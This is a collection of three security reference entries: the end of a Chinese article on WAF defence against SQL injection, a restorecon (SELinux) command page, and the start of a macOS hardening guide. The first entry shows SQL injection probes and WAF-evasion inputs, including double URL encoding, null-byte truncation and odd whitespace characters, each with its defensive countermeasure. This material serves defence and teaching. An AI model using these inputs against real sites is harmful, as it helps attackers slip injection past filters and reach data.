2、 MySQL等DBMS的内建函数,如version(),load_file(),sleep(),benchmark()等
3、 MySQL等DBMS内建变量,如@@version等。
4、 MySQL所识别的内联注释,如 `/*!union*/` `/*!select*/` 或 `/*!50000union*/`等
## 真假条件防护
上述的关键字方法能过滤掉很多的利用代码,但还不全。SQL注入技术中有一种是通过利用注入条件的真假的方式来获取相关信息的,例如CGI: `http://host/SQLi.php?id=1`对应的SQL语句为 `select * from t_table where id=1`
`http://host/SQLi.php?id=1 or 1=1 => select* from t_table where id=1 or 1=1`
`http://host/SQLi.php?id=1 and 1=2 =>select *from t_table where id=1 and 1=2`
通过判断真假来获取MySQL的相关信息。对于这种方式如果通过简单的添加关键字会造成误报而影响业务的情况。这种情况下我们需要分析此类型的应用,例如:
op a = b
1、 op可以是and,or,<,>=,||,&&等
2、 分隔符可以是空格,/**/注释等
3、 a与b可以是数字,字符串,表名,函数,sql语句结果等等
通过穷举此类应用方式来阻断相关的利用
## 绕过防护
### URL编码
浏览器中输入URL是会由浏览器进行一次URL编码,而攻击可能会通过多次编码来对WAF进行绕过,例如:
`Id.php?id=1%2520union/**/select 解码后实际为Id.php?id=1 union/**/select`
如果只经过一次解码,则变成 `Id.php?id=1%20union/**/select`
可能绕过正则表达式的检测
通过循环多次URL解码解决此类问题
### 特殊字符
% 00(%和00之间没有空格,编辑需要)如果直接URL解码,结果是C语言中的NULL字符。如果WAF使用string等数据结构来存储用户的请求,则解码之后会截断字符串,造成后面的内容不经过检测。例如
`Id.php?id=1%20union/**/select`
解码后可能变成:
`Id.php?id=1[NULL]%20union/**/select`
后面的%20union/**/select就躲过了WAF的检查,从而绕过WAF。解决方式:
1、对% 00进行特殊处理
2、不要使用string等存储用户的请求内容
%a0是不换行空格,用于在字处理程序中标示禁止自动换行。使用正则表达式的\s无法匹配到这个字符,但在mysql中%a0与普通的空格一样,可以当成分隔符来使用。即对于Mysql来说,如下请求经过URL解码之后是一样的
`Id.php?id=1%20union/**/select`
`Id.php?id=1/**/union/**/select`
`Id.php?id=1%a0union/**/select`
对于这种字符,可以进行特殊处理后再进行匹配
% 0b(%和0b之间没有空格,编辑需要)是垂直制表符,%09是水平制表符。在正则表达式中,\s与\t 均可匹配%09水平制表符,但匹配不了% 0b(%和0b之间没有空格,编辑需要)垂直制表符,需要使用\v匹配。如果正则表达式中,mysql的分隔符没有考虑到这种情况,也存在绕过的风险。
半个中文字符。RE2等正则引擎默认使用UTF8编码,UTF8编码是3-4字符的编码,如果出现%e4等半个中文,即1个字符的时候,UTF8解码不出,用正则表达式的任意匹配符(.)是匹配不出来的。针对这种字符,可以考虑特殊处理或者变更引擎的编码。
### 畸形HTTP请求
当向Web服务器发送畸形的,非RFC2616标准的HTTP请求时,Web服务器出于兼容的目的,会尽可能解析畸形HTTP请求。而如果Web服务器的兼容方式与WAF不一致,则可能会出现绕过的情况。例如
`GET id.php?id=1%20union/**/select`
这个请求没有协议字段,没有Host字段。但apache对这个请求的处理,默认会设置协议为HTTP/0.9,Host则默认使用Apache默认的servername
在这种情况下,可以选择:
1、尽可能与Web服务器保持一致
2、拒绝非标准的HTTP请求(在后端防护的Web服务器有多种类型时,如apache,nginx,lighthttpd等,由于每种web服务器的兼容性不一致,所以要实现1的WAF尽可能与Web服务器保持一致存在一定的困难)
## 其他
由于WAF实现的复杂性,与所防护的Web服务器的不一致性等原因,绕过的方式有很多种。以上所介绍的也仅是我们所遇到的绕过中比较典型的部分,特别与大家分享。期待与各位大牛交流相关技术,共同提高。
再次感谢各位白帽子的参与与支持。
|
sec-knowleage
|
restorecon
===
恢复文件的安全上下文
## 补充说明
**restorecon命令** 用来恢复SELinux文件属性即恢复文件的安全上下文。
### 语法
```shell
restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...]
```
### 选项
```shell
-i:忽略不存在的文件。
-f:infilename 文件 infilename 中记录要处理的文件。
-e:directory 排除目录。
-R/-r:递归处理目录。
-n:不改变文件标签。
-o/outfilename:保存文件列表到 outfilename,在文件不正确情况下。
-v:将过程显示到屏幕上。
-F:强制恢复文件安全语境。
```
### 实例
假设CentOS安装了apache,网页默认的主目录是`/var/www/html`,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用mv移动到网页默认目录`/var/www/html`中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的,与`/var/www/html`目录不同,使用mv移动的时候,这个SELinux配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例:
使用CentOS举例,如果默认没有安装apache,确保网络连接,使用下面的命令安装
```shell
[root@jsdig.com ~]# yum install httpd
# 我们在root的家目录新建一个html文件
[root@jsdig.com ~]# pwd
/root
[root@jsdig.com ~]# vi index.html
# 随便输入一段文字,保存退出
welcome to www.jsdig.com
# 将这个文件mv到网页默认目录下
[root@jsdig.com ~]# mv index.html /var/www/html/
#
# 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开,
# 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出,
# 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确,
# 正确的SELinux配置信息应该是scontext=后面的部分,
# 而index.html文件的SELinux配置信息却是tcontext=后面的部分,
# 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。
#
type=AVC msg=audit(1378974214.610:465): avc: denied { open } for pid=2359 comm="httpd" path="/var/www/html/index.html" dev="sda1" ino=1317685 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file
```
使用ls -Z也可以看出,文件和目录的SELinux信息不匹配
```shell
[root@jsdig.com html]# ls -Z /var/www/html/
.... unconfined_u:object_r:admin_home_t:s0 index.html
[root@jsdig.com html]# ls -Zd /var/www/html/
.... system_u:object_r:httpd_sys_content_t:s0 /var/www/html/
```
使用restorecon来恢复网页主目录中所有文件的SELinux配置信息(如果目标为一个目录,可以添加-R参数递归)
```shell
[root@jsdig.com html]# restorecon -R /var/www/html/
```
|
sec-knowleage
|
This guide is a collection of techniques for improving the security and privacy of a modern Apple Macintosh computer ("MacBook") running a recent version of macOS (formerly known as "OS X").
This guide is targeted to power users who wish to adopt enterprise-standard security, but is also suitable for novice users with an interest in improving their privacy and security on a Mac.
A system is only as secure as its administrator is capable of making it. There is no one single technology, software, nor technique to guarantee perfect computer security; a modern operating system and computer is very complex, and requires numerous incremental changes to meaningfully improve one's security and privacy posture.
This guide is provided on an 'as is' basis without any warranties of any kind. Only **you** are responsible if you break anything or get in any sort of trouble by following this guide.
To suggest an improvement, please send a pull request or [open an issue](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues).
This guide is also available in [简体中文](https://github.com/drduh/macOS-Security-and-Privacy-Guide/blob/master/README-cn.md).
- [Basics](#basics)
- [Preparing and installing macOS](#preparing-and-installing-macos)
* [Verifying installation integrity](#verifying-installation-integrity)
* [Creating a bootable USB installer](#creating-a-bootable-usb-installer)
* [Creating an install image](#creating-an-install-image)
+ [Manual way](#manual-way)
* [Target disk mode](#target-disk-mode)
* [Creating a recovery partition](#creating-a-recovery-partition)
* [Virtualization](#virtualization)
- [First boot](#first-boot)
- [System activation](#system-activation)
- [Admin and standard user accounts](#admin-and-standard-user-accounts)
* [Caveats](#caveats)
* [Setup](#setup)
- [Full disk encryption](#full-disk-encryption)
- [Firmware](#firmware)
- [Firewall](#firewall)
* [Application layer firewall](#application-layer-firewall)
* [Third party firewalls](#third-party-firewalls)
* [Kernel level packet filtering](#kernel-level-packet-filtering)
- [Services](#services)
- [Spotlight Suggestions](#spotlight-suggestions)
- [Homebrew](#homebrew)
- [DNS](#dns)
+ [Hosts file](#hosts-file)
+ [dnscrypt](#dnscrypt)
+ [Dnsmasq](#dnsmasq)
- [Test DNSSEC validation](#test-dnssec-validation)
- [Captive portal](#captive-portal)
- [Certificate authorities](#certificate-authorities)
- [OpenSSL](#openssl)
- [Curl](#curl)
- [Web](#web)
* [Privoxy](#privoxy)
* [Browser](#browser)
+ [Firefox](#firefox)
+ [Chrome](#chrome)
+ [Safari](#safari)
+ [Other Web browsers](#other-web-browsers)
+ [Web browsers and privacy](#web-browsers-and-privacy)
* [Plugins](#plugins)
- [Tor](#tor)
- [VPN](#vpn)
- [PGP/GPG](#pgpgpg)
- [OTR](#otr)
- [Viruses and malware](#viruses-and-malware)
- [System Integrity Protection](#system-integrity-protection)
- [Gatekeeper and XProtect](#gatekeeper-and-xprotect)
- [Metadata and artifacts](#metadata-and-artifacts)
- [Passwords](#passwords)
- [Backup](#backup)
- [Wi-Fi](#wi-fi)
- [SSH](#ssh)
- [Physical access](#physical-access)
- [System monitoring](#system-monitoring)
* [OpenBSM audit](#openbsm-audit)
* [DTrace](#dtrace)
* [Execution](#execution)
* [Network](#network)
- [Binary Whitelisting](#binary-whitelisting)
- [Miscellaneous](#miscellaneous)
- [Related software](#related-software)
- [Additional resources](#additional-resources)
## Basics
Standard security best practices apply:
* Create a [threat model](https://www.owasp.org/index.php/Application_Threat_Modeling)
* What are you trying to protect and from whom? Is your adversary a [three letter agency](https://theintercept.com/document/2015/03/10/strawhorse-attacking-macos-ios-software-development-kit/) (if so, you may want to consider using [OpenBSD](https://www.openbsd.org/) instead); a nosy eavesdropper on the network; or a determined [apt](https://en.wikipedia.org/wiki/Advanced_persistent_threat) orchestrating a campaign against you?
* [Recognize threats](https://www.usenix.org/system/files/1401_08-12_mickens.pdf) and how to reduce attack surface against them.
* Keep the system up to date
* Patch the base operating system and all third party software.
* macOS system updates can be completed using the App Store application, or the `softwareupdate` command-line utility - neither requires registering an Apple account. Updates can also be downloaded directly from Apple's support site.
* Subscribe to announcement mailing lists like [Apple security-announce](https://lists.apple.com/mailman/listinfo/security-announce).
* Encrypt sensitive data at rest
* In addition to full disk encryption, consider creating one or several encrypted partitions or volumes to store passwords, cryptographic keys, personal documents, etc. at rest.
* This will mitigate damage in case of compromise and data theft.
* Assure data availability
* Create [regular backups](https://www.amazon.com/o/ASIN/0596102461/backupcentral) of your data and be ready to format and re-install the operating system in case of compromise.
* Always encrypt locally before copying backups to external media or the "cloud".
* Verify backups work by testing them regularly, for example by accessing certain files or performing a hash based comparison.
* Click carefully
* Ultimately, the security of a system can be reduced to its administrator.
* Care should be taken when installing new software. Always prefer [free](https://www.gnu.org/philosophy/free-sw.en.html) and open source software ([which macOS is not](https://superuser.com/questions/19492/is-mac-os-x-open-source)).
## Preparing and installing macOS
There are several ways to install macOS.
The simplest way is to boot into [Recovery Mode](https://support.apple.com/en-us/HT201314) by holding `Command` and `R` keys at boot. A system image can be downloaded and applied directly from Apple. However, this way exposes the serial number and other identifying information over the network in plain text, which may not be desired for privacy reasons.
<img width="500" alt="PII is transmitted to Apple in plain text when using macOS Recovery" src="https://cloud.githubusercontent.com/assets/12475110/20312189/8987c958-ab20-11e6-90fa-7fd7c8c1169e.png">
*Packet capture of an unencrypted HTTP conversation during macOS recovery*
An alternative way to install macOS is to first download the latest version of macOS (**Latest: macOS Ventura**) from Apple via the [App Store](https://apps.apple.com/us/app/macos-ventura/id1638787999) and create a custom installable system image.
This can also be done from the Terminal using the commands outlined in [OSXDaily](https://osxdaily.com/2020/04/13/how-download-full-macos-installer-terminal/).
```
softwareupdate --list-full-installers
# latest is 13.3.1
softwareupdate -d --fetch-full-installer --full-installer-version 13.3.1
```
### Getting macOS
Apple's [documentation](https://support.apple.com/en-us/HT211683) provides details for getting older versions of macOS.
* macOS Ventura (13): [App Store](https://apps.apple.com/us/app/macos-ventura/id1638787999)
* macOS Monterey (12): [App Store](https://apps.apple.com/us/app/macos-monterey/id1576738294)
* macOS Big Sur (11): [App Store](https://apps.apple.com/us/app/macos-big-sur/id1526878132)
* macOS Catalina (10.15): [App Store](https://apps.apple.com/us/app/macos-catalina/id1466841314)
* macOS Mojave (10.14): [App Store](https://apps.apple.com/us/app/macos-mojave/id1398502828)
* macOS High Sierra (10.13): [App Store](https://apps.apple.com/us/app/macos-high-sierra/id1246284741)
* macOS Sierra (10.12): [Direct Link](http://updates-http.cdn-apple.com/2019/cert/061-39476-20191023-48f365f4-0015-4c41-9f44-39d3d2aca067/InstallOS.dmg) (HTTP)
* OS X El Capitan (10.11): [Direct Link](http://updates-http.cdn-apple.com/2019/cert/061-41424-20191024-218af9ec-cf50-4516-9011-228c78eda3d2/InstallMacOSX.dmg) (HTTP)
* OS X Yosemite (10.10): [Direct Link](http://updates-http.cdn-apple.com/2019/cert/061-41343-20191023-02465f92-3ab5-4c92-bfe2-b725447a070d/InstallMacOSX.dmg) (HTTP)
### Verifying installation integrity
The macOS installation application is [code signed](https://developer.apple.com/library/mac/documentation/Security/Conceptual/CodeSigningGuide/Procedures/Procedures.html#//apple_ref/doc/uid/TP40005929-CH4-SW6), which should be verified to make sure you received a legitimate copy, using the `pkgutil --check-signature` or `codesign -dvv` commands.
To verify the code signature and integrity of macOS application bundles:
```console
$ pkgutil --check-signature /Applications/Install\ macOS\ Ventura.app
Package "Install macOS Ventura":
Status: signed by a certificate trusted by macOS
Certificate Chain:
1. Software Signing
Expires: 2026-10-24 17:39:41 +0000
SHA256 Fingerprint:
D8 4D B9 6A F8 C2 E6 0A C4 C8 51 A2 1E C4 60 F6 F8 4E 02 35 BE B1
7D 24 A7 87 12 B9 B0 21 ED 57
------------------------------------------------------------------------
2. Apple Code Signing Certification Authority
Expires: 2026-10-24 17:39:41 +0000
SHA256 Fingerprint:
5B DA B1 28 8F C1 68 92 FE F5 0C 65 8D B5 4F 1E 2E 19 CF 8F 71 CC
55 F7 7D E2 B9 5E 05 1E 25 62
------------------------------------------------------------------------
3. Apple Root CA
Expires: 2035-02-09 21:40:36 +0000
SHA256 Fingerprint:
B0 B1 73 0E CB C7 FF 45 05 14 2C 49 F1 29 5E 6E DA 6B CA ED 7E 2C
68 C5 BE 91 B5 A1 10 01 F0 24
```
Use the `codesign` command to examine an application's code signature:
```console
$ codesign -dvv /Applications/Install\ macOS\ Ventura.app
Executable=/Applications/Install macOS Ventura.app/Contents/MacOS/InstallAssistant_springboard
Identifier=com.apple.InstallAssistant.macOSVentura
Format=app bundle with Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=640 flags=0x2000(library-validation) hashes=13+3 location=embedded
Platform identifier=14
Signature size=4523
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
Signed Time=Mar 22, 2023 at 16:09:45
Info.plist entries=32
TeamIdentifier=not set
Sealed Resources version=2 rules=2 files=0
Internal requirements count=1 size=88
```
### Creating a bootable USB installer
Instead of booting from the network or using target disk mode, a bootable macOS installer can be made with the `createinstallmedia` utility included in `Contents/Resources` folder of the installer application bundle. See [Create a bootable installer for macOS](https://support.apple.com/en-us/HT201372), or run the utility without arguments to see how it works.
To create a **bootable USB installer**, mount a USB drive, and erase and partition it, then use the `createinstallmedia` utility:
```console
$ diskutil list
[Find disk matching correct size, usually the last disk, e.g. /dev/disk2]
$ diskutil unmountDisk /dev/disk2
$ diskutil partitionDisk /dev/disk2 1 JHFS+ Installer 100%
$ cd /Applications/Install\ macOS\ Ventura.app
$ sudo ./Contents/Resources/createinstallmedia --volume /Volumes/Installer --nointeraction
Erasing disk: 0%... 10%... 20%... 30%... 100%
Copying to disk: 0%... 10%... 20%... 30%... 40%... 50%... 60%... 70%... 80%... 90%... 100%
Making disk bootable...
Copying boot files...
Install media now available at "/Volumes/Install macOS Catalina"
```
Apple also has [guide](https://support.apple.com/guide/disk-utility/erase-and-reformat-a-storage-device-dskutl14079/mac) on doing this via the GUI Disk Utility
### Creating an install image
**Note** Apple's AutoDMG installer [does not appear to work](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/120) across OS versions. If you want to build a 10.14 image, for example, the following steps must be performed on macOS 10.14!
To create a **custom install image** which can be [restored](https://en.wikipedia.org/wiki/Apple_Software_Restore) to a Mac (using a USB-C cable and target disk mode, for example), use [MagerValp/AutoDMG](https://github.com/MagerValp/AutoDMG).
#### Manual way
**Note** The following instructions appear to work only on macOS versions before 10.13.
Find `InstallESD.dmg` which is inside the installation application. Locate it in Terminal or with Finder, right click on the application bundle, select **Show Package Contents** and navigate to **Contents** > **SharedSupport** to find the file `InstallESD.dmg`
[Verify](https://support.apple.com/en-us/HT201259) file integrity by comparing its SHA-256 hash with others found in [InstallESD_Hashes.csv](https://github.com/drduh/macOS-Security-and-Privacy-Guide/blob/master/InstallESD_Hashes.csv) or [notpeter/apple-installer-checksums](https://github.com/notpeter/apple-installer-checksums).
To determine which macOS versions and builds originally shipped with or are available for a Mac, see [HT204319](https://support.apple.com/en-us/HT204319).
```console
$ shasum -a 256 InstallESD.dmg
```
Mount and install the operating system to a temporary image:
```console
$ hdiutil attach -mountpoint /tmp/InstallESD ./InstallESD.dmg
$ hdiutil create -size 32g -type SPARSE -fs HFS+J -volname "macOS" -uid 0 -gid 80 -mode 1775 /tmp/macos.sparseimage
$ hdiutil attach -mountpoint /tmp/macos -owners on /tmp/macos.sparseimage
$ sudo installer -pkg /tmp/InstallESD/Packages/OSInstall.mpkg -tgt /tmp/macos -verbose
installer: OS Install started.
#############
[...]
```
The installation will take a while, so be patient. Use `tail -F /var/log/install.log` in another terminal to monitor progress and check for errors.
Once the installation is complete, detach, convert and verify the image:
```console
$ hdiutil detach /tmp/macos
"disk4" unmounted.
"disk4" ejected.
$ hdiutil detach /tmp/InstallESD
"disk3" unmounted.
"disk3" ejected.
$ hdiutil convert -format UDZO /tmp/macos.sparseimage -o ~/sierra.dmg
Preparing imaging engine...
[...]
$ asr imagescan --source ~/sierra.dmg
```
The file `sierra.dmg` is now ready to be applied over [Target Disk Mode](https://support.apple.com/en-us/HT201462), from a bootable USB installer, booting from the network or recovery mode. The image could be further customized to include provisioned users, installed applications, preferences, for example.
### Target disk mode
To use **Target Disk Mode**, boot up the Mac you wish to image while holding the `T` key and connect it to another Mac using a USB-C, Thunderbolt or Firewire cable.
If you don't have another Mac, boot to a USB installer, with `sierra.dmg` and other required files copied to it, by holding the *Option* key at boot.
Use the command `diskutil list` to identify the disk of the connected Mac, usually `/dev/disk2`
Optionally, [securely erase](https://www.backblaze.com/blog/securely-erase-mac-ssd/) the disk with a single pass (if previously FileVault-encrypted, the disk must first be unlocked and mounted as `/dev/disk3s2`):
$ sudo diskutil secureErase freespace 1 /dev/disk3s2
Partition the disk to Journaled HFS+:
```console
$ sudo diskutil unmountDisk /dev/disk2
$ sudo diskutil partitionDisk /dev/disk2 1 JHFS+ macOS 100%
```
Restore the image to the new volume, making sure `/dev/disk2` is the disk being erased:
```console
$ sudo asr restore --source ~/sierra.dmg --target /Volumes/macOS --erase --buffersize 4m
[...]
Erase contents of /dev/disk2s2 (/Volumes/macOS)? [ny]:y
[...]
```
The **Disk Utility** application may also be used to erase the connected disk and restore `sierra.dmg` to the newly created partition.
To transfer any files, copy them to a shared folder like `/Users/Shared` on the mounted disk image, e.g. `cp Xcode_8.0.dmg /Volumes/macOS/Users/Shared`
<img width="1280" alt="Finished restore install from USB recovery boot" src="https://cloud.githubusercontent.com/assets/12475110/14804078/f27293c8-0b2d-11e6-8e1f-0fb0ac2f1a4d.png">
*Finished restore install from USB recovery boot*
### Creating a recovery partition
**Unless** you have built the image with [AutoDMG](https://github.com/MagerValp/AutoDMG), or installed macOS to a second partition on the same Mac, you will need to create a recovery partition in order to use full disk encryption. You can do so using [MagerValp/Create-Recovery-Partition-Installer](https://github.com/MagerValp/Create-Recovery-Partition-Installer) or manually by following these steps:
Download [RecoveryHDUpdate.dmg](https://support.apple.com/downloads/DL1464/en_US/RecoveryHDUpdate.dmg) and verify its integrity:
```console
$ shasum -a 256 RecoveryHDUpdate.dmg
f6a4f8ac25eaa6163aa33ac46d40f223f40e58ec0b6b9bf6ad96bdbfc771e12c RecoveryHDUpdate.dmg
```
Attach and expand the installer, then run it - again ensuring `/Volumes/macOS` path is the newly created partition on the connected disk:
```console
$ hdiutil attach RecoveryHDUpdate.dmg
$ pkgutil --expand /Volumes/Mac\ OS\ X\ Lion\ Recovery\ HD\ Update/RecoveryHDUpdate.pkg /tmp/recovery
$ hdiutil attach /tmp/recovery/RecoveryHDUpdate.pkg/RecoveryHDMeta.dmg
$ /tmp/recovery/RecoveryHDUpdate.pkg/Scripts/Tools/dmtest ensureRecoveryPartition /Volumes/macOS/ /Volumes/Recovery\ HD\ Update/BaseSystem.dmg 0 0 /Volumes/Recovery\ HD\ Update/BaseSystem.chunklist
[...]
Creating recovery partition: finished
```
Run `diskutil list` again to make sure `Recovery HD` now exists on `/dev/disk2`. Eject the disk with `hdiutil unmount /Volumes/macOS` and power down the target disk mode-booted Mac.
### Virtualization
To install macOS as a virtual machine (VM) using [VMware Fusion](https://www.vmware.com/products/fusion.html), follow the instructions above to create an image. You will **not** need to download and create a recovery partition manually.
For the Installation Method, select *Install macOS from the recovery partition*. Customize any memory or CPU requirements and complete setup. The guest VM should boot into [Recovery Mode](https://support.apple.com/en-us/HT201314) by default.
**Note** If the virtual machine does not boot due to a kernel panic, adjust the memory and process resource settings.
In Recovery Mode, select a language, then select Utilities > Terminal from the menu bar.
In the guest VM, type `ifconfig | grep inet` - you should see a private address like `172.16.34.129`
On the host Mac, type `ifconfig | grep inet` - you should see a private gateway address like `172.16.34.1`. From the host Mac, you should be able to `ping 172.16.34.129` or the equivalent guest VM address.
From the host Mac, serve the installable image to the guest VM by editing `/etc/apache2/httpd.conf` and adding the following line to the top (using the gateway address assigned to the host Mac and port 80):
Listen 172.16.34.1:80
On the host Mac, link the image to the default Apache Web server directory:
$ sudo ln ~/sierra.dmg /Library/WebServer/Documents
From the host Mac, start Apache in the foreground:
$ sudo httpd -X
From the guest VM, install the disk image to the volume over the local network using `asr`:
```console
-bash-3.2# asr restore --source http://172.16.34.1/sierra.dmg --target /Volumes/Macintosh\ HD/ --erase --buffersize 4m
Validating target...done
Validating source...done
Erase contents of /dev/disk0s2 (/Volumes/Macintosh HD)? [ny]: y
Retrieving scan information...done
Validating sizes...done
Restoring ....10....20....30....40....50....60....70....80....90....100
Verifying ....10....20....30....40....50....60....70....80....90....100
Remounting target volume...done
```
When it's finished, stop the Apache Web server on the host Mac by pressing `Control` `C` at the `sudo httpd -X` window and remove the image copy with `sudo rm /Library/WebServer/Documents/sierra.dmg`
In the guest VM, select *Startup Disk* from the menubar top-left, select the hard drive and restart. You may wish to disable the Network Adapter in VMware to configure the guest VM initially.
Take and Restore from saved guest VM snapshots before and after attempting risky browsing, for example, or use a guest VM to install and operate questionable software.
## First boot
**Note** Before setting up macOS, consider disconnecting networking and configuring a firewall(s) first. However, [late 2016 MacBooks](https://www.ifixit.com/Device/MacBook_Pro_15%22_Late_2016_Touch_Bar) with Touch Bar hardware [require online OS activation](https://onemoreadmin.wordpress.com/2016/11/27/the-untouchables-apples-new-os-activation-for-touch-bar-macbook-pros/) (also see next section).
(Intel-based Mac only) On first boot, hold `Command` `Option` `P` `R` keys to [clear NVRAM](https://support.apple.com/en-us/HT204063).
When macOS first starts, you'll be greeted by **Setup Assistant**.
When creating the first account, use a [strong password](https://www.explainxkcd.com/wiki/index.php/936:_Password_Strength) without a hint.
If you enter your real name at the account setup process, be aware that your [computer's name and local hostname](https://support.apple.com/kb/PH18720) will comprise that name (e.g., *John Appleseed's MacBook*) and thus will appear on local networks and in various preference files.
Both should be verified and updated as needed in **System Preferences > Sharing** or with the following commands after installation:
$ sudo scutil --set ComputerName MacBook
$ sudo scutil --set LocalHostName MacBook
## System activation
A few words on the privacy implications of activating "Touch Bar" MacBook devices from your friendly anonymous security researcher:
> Apple increasingly seems (despite vague claims to the contrary) increasingly interested in merging or "unifying" the two OSes, and there are constantly rumors of fundamental changes to macOS that make it far more like iOS than the macOS of old. Apple's introduction of ARM-based coprocessors running iOS/sepOS, first with the T1 processor on the TouchBar MacBook Pros (run the TouchBar, implement NFC/ApplePay, add biometric login using sep, and verify firmware integrity) and the iMac Pro's T2 (implements/verifies embedded device firmware, implements secure boot, etc) seems to cement this concern and basically renders using macOS devices without sending metadata to Apple difficult to impossible.
>
> iOS devices have always required "activation" on first boot and when the battery has gone dead which initializes sepOS to proceed with verified boot. First boot activation not only initializes sepOS as discussed below, but sends metadata to Apple (and carriers via Apple with cellular devices) to activate the baseband and SIM. In activation processes after first boot, just as with first boot, a long list of highly sensitive metadata are sent hashed (note hashing does not give you any privacy from Apple here since they link this exact metadata to payment information at purchase) to Apple so it can return the personalized response required for secure boot to complete. What is particularly worrying about this process is that it is a network-linked secure boot process where centralized external servers have the power to dictate what the device should boot. Equally there are significant privacy concerns with devices constantly sending metadata (both during activation and other Apple-linked/-hosted activities) and linking IP addresses very strongly with real identities based on purchase payment information and if a cellular device, metadata collected about SIM, etc unless such connections are blocked at the network level (which is only possible on self-managed infrastructure, i.e. not cellular) and doing this basically renders using the device impossible since simply installing an application requires sending device metadata to Apple.
>
> That the activation verification mechanism is designed specifically to rely on unique device identifiers that are associated with payment information at purchase and actively associated on a continuing basis by Apple for every Apple-hosted service that the device interacts with (Apple ID-based services, softwareupdate, iMessage, FaceTime, etc.) the ability (and invitation) for Apple to silently send targeted malicious updates to devices matching specific unique ID criteria is a valid concern, and something that should not be dismissed as unlikely, especially given Apple's full compliance with recently implemented Chinese (and other authoritarian and "non-authoritarian" countries') national security laws.
>
> iOS has from the start been designed with very little end-user control with no way for end-users to configure devices according to their wishes while maintaining security and relies heavily on new, closed source code. While macOS has for most of its history been designed on the surface in a similar fashion, power and enterprise users can (for the moment) still configure their devices relatively securely while maintaining basically zero network interaction with Apple and with the installation of third party software/kernel extensions, completely control the network stack and intercept filesystem events on a per-process basis. macOS, despite having a good deal of closed source code, was designed at a very different period in Apple's history and was designed more in line with open source standards, and designed to be configurable and controllable by enterprise/power users.
>
> The introduction of these coprocessors to Mac devices, while increasing security in many ways, brings with it all the issues with iOS discussed above, and means that running mac devices securely with complete user control, and without forced network interaction with the Apple mothership in highly sensitive corporate and other environments problematic and risky. Given this author is unaware of the exact hardware configuration of the coprocessors, the following may be inaccurate. However, given the low-level nature of these coprocessors, it would not surprise the author if these coprocessors, if not already, will eventually have separate network access of their own, independent of the Intel CPU (indications suggest not currently the case for T1; unclear on T2), which leads to concerns similar to those that many have raised around Intel ME/AMT (and of course mac devices also have ME in the Intel CPU...). One could argue that these coprocessors increase security, and in many ways that is the case, but not the user's security against a malicious Apple.
>
> The lack of configurability is the key issue. Apple could have introduced secure boot and firmware protection without making it require network access, without making verification linked to device-unique IDs and without introducing an enormous amount of potentially exploitable code to protect against a much smaller, but highly exploitable codebase, while running on a coprocessor with a highly privileged position on the board which gives immense power to an adversary with manufacturer compliance for targeted attacks.
>
> This is an ongoing concern and in the worst case scenario could potentially represent the end of macs as independent, end-user controllable and relatively secure systems appropriate for sensitive environments with strict network and security policies.
From [iOS, The Future Of macOS, Freedom, Security And Privacy In An Increasingly Hostile Global Environment](https://gist.github.com/iosecure/357e724811fe04167332ef54e736670d).
## Admin and standard user accounts
The first user account is always an admin account. Admin accounts are members of the admin group and have access to `sudo`, which allows them to usurp other accounts, in particular root, and gives them effective control over the system. Any program that the admin executes can potentially obtain the same access, making this a security risk.
Utilities like `sudo` have [weaknesses that can be exploited](https://bogner.sh/2014/03/another-mac-os-x-sudo-password-bypass/) by concurrently running programs and many panes in System Preferences are [unlocked by default](https://csrc.nist.gov/publications/drafts/800-179/sp800_179_draft.pdf) (pdf) (p. 61–62) for admin accounts.
It is considered a best practice by [Apple](https://help.apple.com/machelp/mac/10.12/index.html#/mh11389) and [others](https://csrc.nist.gov/publications/drafts/800-179/sp800_179_draft.pdf) (pdf) (p. 41–42) to use a separate standard account for day-to-day work and use the admin account for installations and system configuration.
It is not strictly required to ever log into the admin account via the macOS login screen. When a Terminal command requires administrator privileges, the system will prompt for authentication and Terminal then continues using those privileges. To that end, Apple provides some [recommendations](https://support.apple.com/HT203998) for hiding the admin account and its home directory. This can be an elegant solution to avoid having a visible 'ghost' account.
### Caveats
* Only administrators can install applications in `/Applications` (local directory). Finder and Installer will prompt a standard user with an authentication dialog. Many applications can be installed in `~/Applications` instead (the directory can be created manually). As a rule of thumb: applications that do not require admin access – or do not complain about not being installed in `/Applications` – should be installed in the user directory, the rest in the local directory. Mac App Store applications are still installed in `/Applications` and require no additional authentication.
* `sudo` is not available in shells of the standard user, which requires using `su` or `login` to enter a shell of the admin account. This can make some maneuvers trickier and requires some basic experience with command-line interfaces.
* System Preferences and several system utilities (e.g. Wi-Fi Diagnostics) will require root privileges for full functionality. Many panels in System Preferences are locked and need to be unlocked separately by clicking on the lock icon. Some applications will simply prompt for authentication upon opening, others must be opened by an admin account directly to get access to all functions (e.g. Console).
* There are third-party applications that will not work correctly because they assume that the user account is an admin. These programs may have to be executed by logging into the admin account, or by using the `open` utility.
* See additional discussion in [issue #167](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/167).
### Setup
Accounts can be created and managed in System Preferences. On settled systems, it is generally easier to create a second admin account and then demote the first account. This avoids data migration. Newly installed systems can also just add a standard account.
Demoting an account can be done either from the the new admin account in System Preferences – the other account must be logged out – or by executing these commands (it may not be necessary to execute both, see [issue #179](https://github.com/drduh/macOS-Security-and-Privacy-Guide/issues/179)):
```console
$ sudo dscl . -delete /Groups/admin GroupMembership <username>
$ sudo dscl . -delete /Groups/admin GroupMembers <GeneratedUID>
```
To find the “GeneratedUID” of an account:
```console
$ dscl . -read /Users/<username> GeneratedUID
```
See also [this post](https://superuser.com/a/395738) for more information about how macOS determines group membership.
## Full disk encryption
[FileVault](https://en.wikipedia.org/wiki/FileVault) provides full disk (technically, full _volume_) encryption on macOS.
